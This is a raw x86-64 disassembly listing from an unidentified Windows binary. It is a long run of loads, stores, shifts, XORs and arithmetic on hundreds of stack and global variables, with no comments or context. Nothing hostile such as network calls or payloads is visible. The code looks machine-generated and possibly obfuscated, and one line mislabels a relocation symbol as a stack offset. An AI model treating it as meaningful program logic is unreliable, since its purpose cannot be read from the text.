mov rax, qword [rsp + 0xadc8]
mov rax, qword [rax]
mov qword [rsp + 0xb288], rax
mov rax, qword [rsp + 0xa2b0]
mov ecx, dword [rsp + 0x4f2c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x50a4], eax
mov rax, qword [rsp + 0xb0f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x13f]
sar eax, cl
mov rcx, qword [0x1401e8a70]
mov byte [rcx], al
movzx eax, byte [rsp + 0xe6]
mov byte [rsp + 0x18d], al
movzx eax, byte [0x1401e7025]
movzx ecx, byte [rsp + 0xeb]
xor eax, ecx
mov rcx, qword [rsp + 0xa840]
mov byte [rcx], al
lea rax, [rsp + 0x1160]
mov qword [rsp + 0xb290], rax
movsx eax, byte [rsp + 0x182]
mov rcx, qword [rsp + 0x8d48]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9bc8]
mov byte [rcx], al
mov eax, dword [rsp + 0x5144]
cdq
mov rcx, qword [rsp + 0x9f70]
idiv dword [rcx]
mov rcx, qword [rsp + 0xa588]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa798]
mov rax, qword [rax]
mov qword [rsp + 0xb298], rax
mov rax, qword [rsp + 0x9f60]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x510c]
shl eax, cl
mov rcx, qword [rsp + 0xaa68]
mov dword [rcx], eax
lea rax, [rsp + 0xac38]
mov qword [rsp + 0xb2a0], rax
movsx eax, word [rsp + 0x10f0]
movsx ecx, word [rsp + 0x1314]
add eax, ecx
mov word [0x1401e707c], ax
movsx eax, word [rsp + 0x1364]
movsx ecx, word [0x1401e8888]
add eax, ecx
mov word [rsp + 0x1234], ax
movsx eax, byte [rsp + 0xb7]
mov rcx, qword [rsp + 0x9660]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x98], al
lea rax, [rsp + 0x84]
mov qword [rsp + 0xb2a8], rax
mov rax, qword [rsp + 0x97f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1334]
sub eax, ecx
mov word [rsp + 0x1278], ax
lea rax, [rsp + 0x50ac]
mov qword [rsp + 0xb2b0], rax
mov rax, qword [rsp + 0x8df8]
mov rcx, qword [rsp + 0x9728]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x97b8], rax
mov rax, qword [rsp + 0xa670]
mov rcx, qword [rsp + 0xa600]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa858], rax
mov eax, dword [rsp + 0x4e1c]
mov dword [rsp + 0x5230], eax
mov rax, qword [rsp + 0x9f68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa8a0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e7114], ax
movzx eax, word [rsp + 0x1204]
movzx ecx, word [rsp + 0x10c8]
add eax, ecx
mov rcx, qword [rsp + 0x9f90]
mov word [rcx], ax
movzx eax, byte [rsp + 0x13c]
mov byte [rsp + 0x18e], al
movzx eax, word [rsp + 0x1198]
mov rcx, qword [rsp + 0x9a80]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x11b4], ax
movzx eax, byte [rsp + 0xbf]
movzx ecx, byte [rsp + 0xca]
add eax, ecx
mov byte [rsp + 0xb3], al
mov rax, qword [rsp + 0x9620]
mov eax, dword [rax]
mov dword [rsp + 0x5234], eax
mov rax, qword [rsp + 0xa248]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9128]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb268]
mov qword [rcx], rax
lea rax, [0x1401e7008]
mov qword [rsp + 0xb2b8], rax
mov rax, qword [rsp + 0xa2d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9320]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xac50]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa3d0]
movzx eax, byte [rax]
mov byte [rsp + 0x18f], al
movzx eax, word [rsp + 0x11ec]
mov word [0x1401e8c88], ax
movsx eax, byte [rsp + 0x18b]
mov rcx, qword [rsp + 0x9500]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xab30]
mov byte [rcx], al
movsx eax, word [rsp + 0x1408]
movsx ecx, word [rsp + 0x136c]
shl eax, cl
mov word [rsp + 0x11cc], ax
lea rax, [rsp + 0x179]
mov qword [rsp + 0xb2c0], rax
mov rax, qword [rsp + 0xa7c8]
mov rcx, qword [rsp + 0xa648]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4d88], eax
lea rax, [rsp + 0x92e8]
mov qword [rsp + 0xb2c8], rax
mov rax, qword [rsp + 0x9d70]
mov rcx, qword [rsp + 0x9c20]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x51e4], eax
mov rax, qword [rsp + 0xa770]
mov rcx, qword [rsp + 0xb210]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa190], rax
movzx eax, byte [rsp + 0xcf]
mov byte [rsp + 0x190], al
mov rax, qword [rsp + 0x9ab8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9c58]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401e8c34], ax
movsx eax, byte [rsp + 0xd4]
movsx ecx, byte [rsp + 0x17e]
and eax, ecx
mov rcx, qword [rsp + 0x9fd0]
mov byte [rcx], al
mov rax, qword [rsp + 0xae18]
movzx eax, word [rax]
mov word [rsp + 0x1440], ax
mov rax, qword [rsp + 0x9050]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8cc8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x12f0], ax
mov eax, dword [rsp + 0x4e68]
mov ecx, dword [rsp + 0x4d84]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5130], eax
lea rax, [rsp + 0x5064]
mov qword [rsp + 0xb2d0], rax
mov rax, qword [rsp + 0xaea8]
mov rcx, qword [rsp + 0xb160]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa9c0], rax
mov rax, qword [rsp + 0x8c50]
mov rax, qword [rax]
mov qword [rsp + 0xb2d8], rax
mov rax, qword [rsp + 0xa938]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x184]
add eax, ecx
mov rcx, qword [rsp + 0x8e08]
mov byte [rcx], al
movsx eax, word [rsp + 0x119c]
mov rcx, qword [rsp + 0x8db0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401e8aa0]
mov word [rcx], ax
movzx eax, word [rsp + 0x1098]
mov rcx, qword [rsp + 0xb290]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa110]
mov word [rcx], ax
movzx eax, byte [rsp + 0x105]
mov byte [rsp + 0x191], al
mov rax, qword [0x1401e8ae0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9d80]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9df8]
mov word [rcx], ax
lea rax, [rsp + 0xa5d0]
mov qword [rsp + 0xb2e0], rax
mov rax, qword [rsp + 0xa098]
mov ecx, dword [rsp + 0x516c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4ff8], eax
lea rax, [0x1401e7018]
mov qword [rsp + 0xb2e8], rax
mov eax, dword [rsp + 0x505c]
movzx ecx, al
mov eax, dword [rsp + 0x51d8]
shr eax, cl
mov dword [rsp + 0x5008], eax
movsx eax, word [rsp + 0x1240]
mov rcx, qword [rsp + 0x9c58]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9030]
mov word [rcx], ax
mov rax, qword [0x1401e8880]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb050]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e7118], ax
movzx eax, byte [rsp + 0x129]
mov byte [rsp + 0x192], al
mov rax, qword [rsp + 0x96b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x17e]
add eax, ecx
mov rcx, qword [rsp + 0x9f40]
mov byte [rcx], al
movzx eax, byte [rsp + 0x8e]
mov byte [rsp + 0x193], al
movzx eax, byte [rsp + 0xcf]
movzx ecx, byte [rsp + 0x192]
sub eax, ecx
mov rcx, qword [rsp + 0x9370]
mov byte [rcx], al
mov rax, qword [rsp + 0xb138]
mov ecx, dword [rsp + 0x522c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4f58], eax
mov eax, dword [rsp + 0x51a4]
mov dword [rsp + 0x5238], eax
mov rax, qword [rsp + 0x8e40]
mov rcx, qword [rsp + 0xa900]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9098], rax
lea rax, [rsp + 0x9400]
mov qword [rsp + 0xb2f0], rax
lea rax, [0x1401e7058]
mov qword [0x1401e8c90], rax
movsx eax, word [rsp + 0x139c]
movsx ecx, word [rsp + 0x1014]
add eax, ecx
mov rcx, qword [rsp + 0xa5e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9568]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ac0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xfb], al
lea rax, [rsp + 0x11a]
mov qword [rsp + 0xb2f8], rax
movsx eax, word [rsp + 0x115c]
movsx ecx, word [rsp + 0x1434]
sub eax, ecx
mov word [rsp + 0x1130], ax
mov eax, dword [rsp + 0x4e90]
mov dword [rsp + 0x523c], eax
mov rax, qword [rsp + 0x9bd0]
mov rcx, qword [rsp + 0x8e90]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9040], rax
lea rax, [rsp + 0xb108]
mov qword [rsp + 0xb300], rax
mov rax, qword [rsp + 0x9c90]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9c08]
mov qword [rsp + 0xb308], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb308]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4f38], eax
mov rax, qword [0x1401e8a10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12ac]
xor eax, ecx
mov rcx, qword [0x1401e8a10]
mov word [rcx], ax
movsx eax, byte [rsp + 0x126]
mov rcx, qword [rsp + 0xaa40]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x172], al
lea rax, [rsp + 0xf1]
mov qword [rsp + 0xb310], rax
mov rax, qword [0x1401e8b10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xac18]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9788]
mov word [rcx], ax
movzx eax, byte [rsp + 0x13a]
mov byte [rsp + 0x194], al
mov rax, qword [rsp + 0x9588]
mov rcx, qword [rsp + 0x9530]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa4e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9e88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa6d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9a70], rax
lea rax, [rsp + 0x5080]
mov qword [rsp + 0xb318], rax
mov rax, qword [0x1401e7028]
mov rcx, qword [rsp + 0x8e40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x94e8], rax
mov rax, qword [rsp + 0xafa8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x143]
add eax, ecx
mov byte [0x1401e8796], al
mov rax, qword [rsp + 0x95f0]
movzx eax, word [rax]
mov word [rsp + 0x1444], ax
mov rax, qword [rsp + 0x9cf8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9278]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x90e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9740]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1088]
sub eax, ecx
mov word [rsp + 0xff0], ax
lea rax, [rsp + 0x173]
mov qword [rsp + 0xb320], rax
mov rax, qword [rsp + 0x9db8]
mov rcx, qword [rsp + 0xad08]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb180], rax
lea rax, [rsp + 0x4e88]
mov qword [rsp + 0xb328], rax
mov rax, qword [rsp + 0x9000]
mov rcx, qword [rsp + 0x9a90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x50dc], eax
mov rax, qword [0x1401e7010]
mov rcx, qword [rsp + 0x9320]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa7e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa8c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xba]
sub eax, ecx
mov byte [0x1401e7087], al
mov rax, qword [rsp + 0x8ee0]
movzx eax, word [rax]
mov word [rsp + 0x1448], ax
movzx eax, word [0x1401e7100]
mov rcx, qword [rsp + 0xaeb0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x140c], ax
lea rax, [rsp + 0x130]
mov qword [rsp + 0xb330], rax
mov rax, qword [rsp + 0xaec8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa310]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xaad0]
mov word [rcx], ax
lea rax, [0x1401e7010]
mov qword [rsp + 0xb338], rax
mov eax, dword [rsp + 0x4cbc]
movzx ecx, al
mov eax, dword [rsp + 0x4d00]
shl eax, cl
mov dword [rsp + 0x4e4c], eax
mov rax, qword [rsp + 0x9970]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4d44]
shr eax, cl
mov rcx, qword [rsp + 0xa4e0]
mov dword [rcx], eax
lea rax, [rsp + 0x99b0]
mov qword [rsp + 0xb340], rax
mov rax, qword [rsp + 0x9d68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9d48]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1401e87c8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa840]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x96a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xdb], al
movzx eax, byte [rsp + 0x9c]
mov byte [rsp + 0x195], al
mov rax, qword [rsp + 0xa7d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12c0]
add eax, ecx
mov word [rsp + 0x12ec], ax
mov rax, qword [rsp + 0x9e08]
movzx eax, word [rax]
mov rcx, qword [0x1401e8c90]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1138], ax
mov rax, qword [rsp + 0x91c0]
mov rax, qword [rax]
mov qword [rsp + 0xb348], rax
mov rax, qword [rsp + 0x9000]
mov rcx, qword [rsp + 0xab40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e60], eax
lea rax, [rsp + 0x50f8]
mov qword [rsp + 0xb350], rax
mov rax, qword [rsp + 0x90b8]
mov rcx, qword [rsp + 0xa738]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d80]
mov qword [rcx], rax
lea rax, [rsp + 0x113]
mov qword [0x1401e8c98], rax
movsx eax, byte [rsp + 0x152]
movsx ecx, byte [rsp + 0x12b]
sub eax, ecx
mov rcx, qword [rsp + 0xb2c0]
mov byte [rcx], al
movzx eax, byte [rsp + 0xbb]
mov byte [rsp + 0x196], al
mov rax, qword [rsp + 0xb010]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9f68]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1424], ax
mov rax, qword [rsp + 0x97f0]
movzx eax, byte [rax]
mov byte [rsp + 0x197], al
mov rax, qword [rsp + 0xa7c8]
mov rcx, qword [rsp + 0x8f60]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9028]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4ed4]
mov dword [rsp + 0x5240], eax
mov rax, qword [rsp + 0xa030]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa4d0]
mov qword [rsp + 0xb358], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb358]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xac98], rax
mov rax, qword [rsp + 0x91c0]
mov rcx, qword [0x1401e7018]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xadc0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9a58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1344]
or eax, ecx
mov rcx, qword [0x1401e8870]
mov word [rcx], ax
mov rax, qword [rsp + 0x99d8]
movzx eax, word [rax]
mov word [rsp + 0x144c], ax
mov rax, qword [0x1401e8818]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa698]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x162], al
lea rax, [rsp + 0x1184]
mov qword [rsp + 0xb360], rax
movsx eax, byte [rsp + 0x126]
mov rcx, qword [rsp + 0xac28]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb230]
mov byte [rcx], al
mov rax, qword [rsp + 0xafc0]
mov rcx, qword [rsp + 0x9880]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa3f0], rax
mov rax, qword [rsp + 0xb270]
mov eax, dword [rax]
mov dword [rsp + 0x5244], eax
mov rax, qword [rsp + 0xaa48]
mov rcx, qword [rsp + 0xa808]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa670]
mov qword [rcx], rax
lea rax, [0x1401e7008]
mov qword [rsp + 0xb368], rax
mov rax, qword [rsp + 0x8c60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1148]
sub eax, ecx
mov rcx, qword [rsp + 0xadf8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa258]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8bf8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e708a], al
movzx eax, byte [0x1401e7024]
movzx ecx, byte [rsp + 0x188]
add eax, ecx
mov rcx, qword [rsp + 0x93b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9a68]
movzx eax, word [rax]
mov word [rsp + 0x1450], ax
mov rax, qword [rsp + 0xa100]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xad20]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb098]
mov byte [rcx], al
lea rax, [rsp + 0x5108]
mov qword [rsp + 0xb370], rax
mov rax, qword [rsp + 0xad60]
mov rcx, qword [rsp + 0xa378]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9510]
mov qword [rcx], rax
mov eax, dword [0x1401e7008]
mov ecx, dword [rsp + 0x4f94]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e90], eax
mov rax, qword [rsp + 0xad80]
mov rax, qword [rax]
mov qword [rsp + 0xb378], rax
movsx eax, word [rsp + 0x11a4]
mov rcx, qword [rsp + 0x8e20]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x11e0], ax
mov rax, qword [rsp + 0x9568]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15d]
sar eax, cl
mov byte [0x1401e8796], al
lea rax, [rsp + 0x119c]
mov qword [rsp + 0xb380], rax
movzx eax, word [rsp + 0x113c]
movzx ecx, word [rsp + 0x12cc]
or eax, ecx
mov word [rsp + 0xff8], ax
movzx eax, byte [rsp + 0x92]
mov byte [rsp + 0x198], al
mov rax, qword [rsp + 0x90b0]
mov rax, qword [rax]
mov rcx, qword [0x1401e7018]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9a88]
mov qword [rcx], rax
mov rax, qword [rsp + 0xaed0]
movzx ecx, al
mov rax, qword [rsp + 0xa560]
shl rax, cl
mov qword [rsp + 0x9318], rax
lea rax, section..data
mov qword [rsp + 0xb388], rax
mov rax, qword [rsp + 0x9818]
mov eax, dword [rax]
cdq
idiv dword [rsp + 0x4fe0]
mov rcx, qword [rsp + 0xaa38]
mov dword [rcx], eax
mov rax, qword [rsp + 0xade8]
movzx eax, word [rax]
mov word [rsp + 0x1454], ax
mov rax, qword [rsp + 0xa398]
movzx eax, word [rax]
mov word [0x1401e8ca0], ax
movzx eax, word [0x1401e7054]
movzx ecx, word [rsp + 0x13a0]
add eax, ecx
mov rcx, qword [rsp + 0xa0c0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x191]
movzx ecx, byte [rsp + 0xdb]
sub eax, ecx
mov byte [rsp + 0x15a], al
lea rax, [rsp + 0x10d]
mov qword [rsp + 0xb390], rax
mov rax, qword [rsp + 0x9118]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ccc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x50ac], eax
lea rax, [rsp + 0x4d90]
mov qword [rsp + 0xb398], rax
mov rax, qword [rsp + 0xa750]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaf20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xafd8], rax
mov rax, qword [rsp + 0x9048]
mov rcx, qword [0x1401e7028]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa00], rax
movzx eax, word [rsp + 0x1130]
mov word [rsp + 0x1458], ax
movsx eax, byte [rsp + 0x80]
movsx ecx, byte [0x1401e703b]
add eax, ecx
mov byte [0x1401e708b], al
movzx eax, byte [rsp + 0x10c]
movzx ecx, byte [rsp + 0x14e]
add eax, ecx
mov byte [rsp + 0xbd], al
mov rax, qword [rsp + 0xab30]
movzx eax, byte [rax]
mov byte [rsp + 0x199], al
mov rax, qword [rsp + 0x8fa0]
movzx eax, word [rax]
movzx ecx, word [0x1401e70a8]
sub eax, ecx
mov word [rsp + 0x1138], ax
mov rax, qword [rsp + 0xa708]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xacd0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10d8], ax
mov rax, qword [rsp + 0xa388]
mov rax, qword [rax]
mov qword [rsp + 0xb3a0], rax
mov rax, qword [rsp + 0x9e70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9438]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb0b8], rax
lea rax, [rsp + 0x522c]
mov qword [rsp + 0xb3a8], rax
mov eax, dword [rsp + 0x5228]
mov ecx, dword [rsp + 0x5010]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9678]
mov dword [rcx], eax
mov rax, qword [rsp + 0x96a0]
movzx eax, byte [rax]
mov rcx, qword [0x1401e8bb8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x1401e7083], al
mov rax, qword [rsp + 0xa7b0]
movzx eax, byte [rax]
mov byte [rsp + 0x19a], al
mov rax, qword [rsp + 0x9df8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xad10]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x11fc], ax
movzx eax, byte [rsp + 0x13d]
mov rcx, qword [rsp + 0xada8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9480]
mov byte [rcx], al
movzx eax, byte [rsp + 0xc4]
mov byte [rsp + 0x19b], al
mov eax, dword [rsp + 0x4f90]
mov ecx, dword [rsp + 0x4f84]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5078], eax
lea rax, [0x1401e7028]
mov qword [rsp + 0xb3b0], rax
mov rax, qword [rsp + 0x9980]
mov rcx, qword [rsp + 0xa6f0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9e18], rax
mov rax, qword [rsp + 0x9c08]
mov rcx, qword [rsp + 0xa4e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9970]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb1f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9c88]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401e711c], ax
lea rax, [rsp + 0x8a]
mov qword [rsp + 0xb3b8], rax
movsx eax, word [rsp + 0x11d0]
mov rcx, qword [rsp + 0x91b0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8db0]
mov word [rcx], ax
mov rax, qword [0x1401e8a68]
movzx eax, word [rax]
mov word [rsp + 0x145c], ax
movzx eax, word [rsp + 0x10c8]
mov rcx, qword [rsp + 0x9388]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x12e0], ax
mov rax, qword [rsp + 0xab78]
mov rcx, qword [rsp + 0xb108]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x97e8], rax
mov rax, qword [rsp + 0x9140]
mov eax, dword [rax]
mov dword [rsp + 0x5248], eax
mov eax, dword [rsp + 0x50f0]
mov ecx, dword [rsp + 0x4ff4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa778]
mov dword [rcx], eax
lea rax, [rsp + 0x9648]
mov qword [rsp + 0xb3c0], rax
movzx eax, byte [rsp + 0xda]
movzx ecx, byte [rsp + 0xd9]
sub eax, ecx
mov rcx, qword [0x1401e89f0]
mov byte [rcx], al
movsx eax, word [rsp + 0x12f8]
movsx ecx, word [rsp + 0x1078]
sub eax, ecx
mov word [rsp + 0x11f4], ax
lea rax, [rsp + 0x7f]
mov qword [rsp + 0xb3c8], rax
mov rax, qword [rsp + 0x9f28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb0d0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x12d0], ax
mov rax, qword [rsp + 0xa188]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8d48]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x115], al
mov rax, qword [rsp + 0x8f88]
mov qword [rsp + 0xb3d0], rax
mov rax, qword [rsp + 0xaca8]
mov rcx, qword [rsp + 0x9018]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa850]
mov qword [rcx], rax
lea rax, [rsp + 0x4f4c]
mov qword [rsp + 0xb3d8], rax
mov rax, qword [rsp + 0x9530]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa090]
mov qword [rsp + 0xb3e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb3e0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5210], eax
lea rax, [rsp + 0x16d]
mov qword [0x1401e8ca8], rax
mov rax, qword [rsp + 0xaae8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x123c]
and eax, ecx
mov word [rsp + 0x120c], ax
lea rax, [rsp + 0x10c0]
mov qword [rsp + 0xb3e8], rax
mov rax, qword [rsp + 0xa840]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9a20]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x14d], al
lea rax, [rsp + 0x1154]
mov qword [rsp + 0xb3f0], rax
mov eax, dword [rsp + 0x51f0]
mov ecx, dword [rsp + 0x4e78]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f9c], eax
mov rax, qword [rsp + 0xb0d8]
mov ecx, dword [rsp + 0x521c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x51a4], eax
mov rax, qword [rsp + 0xb258]
mov qword [rsp + 0xb3f8], rax
mov rax, qword [rsp + 0x9f18]
mov rcx, qword [rsp + 0xae78]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb170]
mov qword [rcx], rax
movzx eax, word [0x1401e70bc]
movzx ecx, word [rsp + 0x1244]
and eax, ecx
mov rcx, qword [0x1401e8be0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x180]
mov byte [rsp + 0x19c], al
mov rax, qword [rsp + 0xaf88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9390]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x178], al
movzx eax, word [0x1401e87a0]
mov rcx, qword [rsp + 0xa580]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9688]
mov word [rcx], ax
mov rax, qword [rsp + 0xa8a0]
movzx eax, word [rax]
mov word [rsp + 0x1460], ax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x4e5c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9760]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa5b8]
mov rax, qword [rax]
mov qword [rsp + 0xb400], rax
mov rax, qword [rsp + 0xa900]
mov rcx, qword [rsp + 0xab48]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xae00]
mov qword [rcx], rax
lea rax, [rsp + 0x5174]
mov qword [rsp + 0xb408], rax
mov rax, qword [rsp + 0x9070]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x129]
or eax, ecx
mov rcx, qword [0x1401e8988]
mov byte [rcx], al
mov rax, qword [rsp + 0x9ad0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x97a0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9900]
mov byte [rcx], al
mov rax, qword [rsp + 0x8db0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa8a0]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xad10]
mov word [rcx], ax
movzx eax, byte [rsp + 0x7d]
mov byte [rsp + reloc.COMCTL32.dll_DefSubclassProc], al
mov rax, qword [rsp + 0xa870]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd7]
sar eax, cl
mov byte [rsp + 0x94], al
mov rax, qword [rsp + 0x93a8]
mov eax, dword [rax]
mov dword [rsp + 0x524c], eax
